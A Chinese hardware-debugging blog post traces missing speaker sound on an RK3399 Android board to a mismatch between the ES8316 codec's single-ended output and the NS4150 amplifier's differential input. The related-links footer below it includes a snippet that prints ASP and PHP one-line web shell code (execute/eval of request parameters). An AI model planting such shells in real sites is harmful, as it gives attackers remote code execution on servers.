CPU:RK3399

系统:Android

音频IC:ES8316

功放IC:NS4150

以前也在 RK3399 上调试过 ES8316,功能都正常,新主板只是更换了功放IC,就出现无声音的问题(仔细听是喇叭声音很小很小)。

音乐播放器中,有的歌曲有声音,有个无声音

视频播放器中,只能听到背景音,人物说话声听不见

系统声音设置中,闹钟音量正常,媒体音量和通知音量无声音

下面是音频相关的原理图:

既然闹钟声音正常,就不用考虑底层音频模块加载的问题

1、调整设置中的媒体音量和闹钟音量,用示波器测试 SPK_EN 引脚,引脚在播放时都被拉高,而且电压也相同。

2、使用指令播放 1KHz 正弦波,用示波器测量 ES8316 的输出是很完美的正弦波,频率差不多就是1KHz,但就是没声音。

rk3399_all:/ # tinyplay /sdcard/1k.wav -D  -d  -p  -n
tinyplay /sdcard/1k.wav -D -d -p -n
Playing sample: ch, hz, bit

3、使用 i2c-tools 工具读取有声音和没声音时 ES8316 的寄存器值,完全一致,也没有哪个寄存器有问题。

4、此时只能从硬件差异化找问题

ES8316 文档中明确标明,19脚(ROUT)和 20脚(ROUT)输出的是左右声道模拟信号。

查看功放 NS4150 的文档,其不仅支持单端输入,还支持差分输入,但是两种电路有点差异,如下:

再查看原理图中功放的电路,明显支持的是差分输入,与 ES8316 输出的模拟信号不符合,只需将功放输入端差分输入改为单端输入即可。

[RK3399] ES8316+NS4150 播放视频只有背景音,播放歌曲有的有声音,有的无声音的更多相关文章

  1. html5添加视频为背景自动播放

    客户想做个打开官网自动播放一段视频,楼主使用了video标签,即下面的代码:: 于是我在video标签上添加了属性 autoplay=“autoplay” loop=“loop” 然而通过地址栏进去的 ...

  2. Android应用开发学习笔记之播放视频

    作者:刘昊昱 博客:http://blog.csdn.net/liuhaoyutz 在Android中,我们可以通过使用VideoView类或者MediaPlayer类来播放视频. 一.使用Video ...

  3. WinForm播放视频

    原文:WinForm播放视频 1背景 这几天一老友要求我做个小软件,在WinForm播放视频.印象中微软有个WM控件直接可以使用,晚上研究下 2实现方式 2.1微软草根 最简单的方式,是直接使用微软的 ...

  4. Android实现播放视频

    转载:http://www.bdqn.cn/news/201311/12100.shtml 使用VideoView播放视频 VideoView,用于播放一段视频媒体,它继承了SurfaceView,位 ...

  5. android: 播放视频

    播放视频文件其实并不比播放音频文件复杂,主要是使用 VideoView 类来实现的.这个 类将视频的显示和控制集于一身,使得我们仅仅借助它就可以完成一个简易的视频播放器. VideoView 的用法和 ...

  6. Android--使用VideoView播放视频

    承香墨影 Android--使用VideoView播放视频   前言   之前有讲过如何使用SurfaceView配合MediaPlayer播放视频,其实Android还为开发人员提供了另外一种更简单 ...

  7. Windows Phone 7 播放视频

    在Windows Phone 7中播放视频有两种方式,一种是使用MediaElement 控件来播放,一种是使用启动器MediaPlayerLanucher来实现视频的播放.用MediaElement ...

  8. 使用VideoView播放视频

    为了在Android应用中播放视频,Android提供了VideoView组件,它就是一个位于android.widget包下的组件,它的作用与ImageView类似,只是ImageView用于显示图 ...

  9. Windows Phone 之播放视频

    在Windows Phone 7中播放视频有两种方式, (1)使用MediaElement 控件来播放:用MediaElement 控件来播放视频比较灵活,你需要自己去实现播放暂停进度条等等的功能,播 ...

随机推荐

  1. MySQL Replication--修复从库上单个数据库的数据

    问题描述 由于运维失误,从库未及时设置read_only,导致从库上某库数据被修改,由于整个实例数据量较大,重做成本较高,而该数据库数据较少,因此考虑如何修复该数据库的数据. 操作前提 1.复制使用位 ...

  2. 简单的一句话木马(asp aspx php)

    一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...

  3. 【转】Http和Https下的cookie的写入问题

    网站https:// 可以登陆, 但是切换到http的时候不能登陆. 原因是:https访问的时候,返回的cookie设置了secure=1, 切换成http访问的时候, 这个时候不能操作那个cook ...

  4. SpringDataRedis的简单入门

    Jedis Jedis是Redis官方推出的一款面向java的客户端,提供了很多接口供java语言调用,可以在Redis官网下载,当然还有一些开源爱好者提供的客户端,如Jredis SRP等,推荐使用 ...

  5. hive函数之数学函数

    hive函数之数学函数   round(double d)--返回double型d的近似值(四舍五入),返回bigint型: round(double d,int n)--返回保留double型d的n ...

  6. Windows窗体控件实现内容拖放(DragDrop)功能

    一.将控件内容拖到其他控件 在开发过程中,经常会有这样的要求,拖动一个控件的数据到另外一个控件中.例如将其中一个ListBox中的数据拖到另一个ListBox中.或者将DataGridView中的数据 ...

  7. 完成一个springboot项目的完整总结-------二

    我们接着上篇继续写,继续进行springboot项目 一. swagger2 接口描述,测试每个接口是否有效 1. 添加依赖 pom.xml 在编辑pom.xml之前,要先关闭spring-boot项 ...

  8. 优先队列priority_queue详解

    转载链接

  9. win10 安装python模块objgraph+PyCharm环境配置

    1. 打开win10的命令行窗口 2.在命令行中输入python -m pip install objgraph,系统会自动帮忙安装 3.安装完成后,可以用命令python -m pip list查看 ...

  10. IO多路复用的作用?

    I/O多路复用实际上就是用select, poll, epoll监听多个io对象,当io对象有变化(有数据)的时候就通知用户进程.好处就是单个进程可以处理多个socket.当然具体区别我们后面再讨论, ...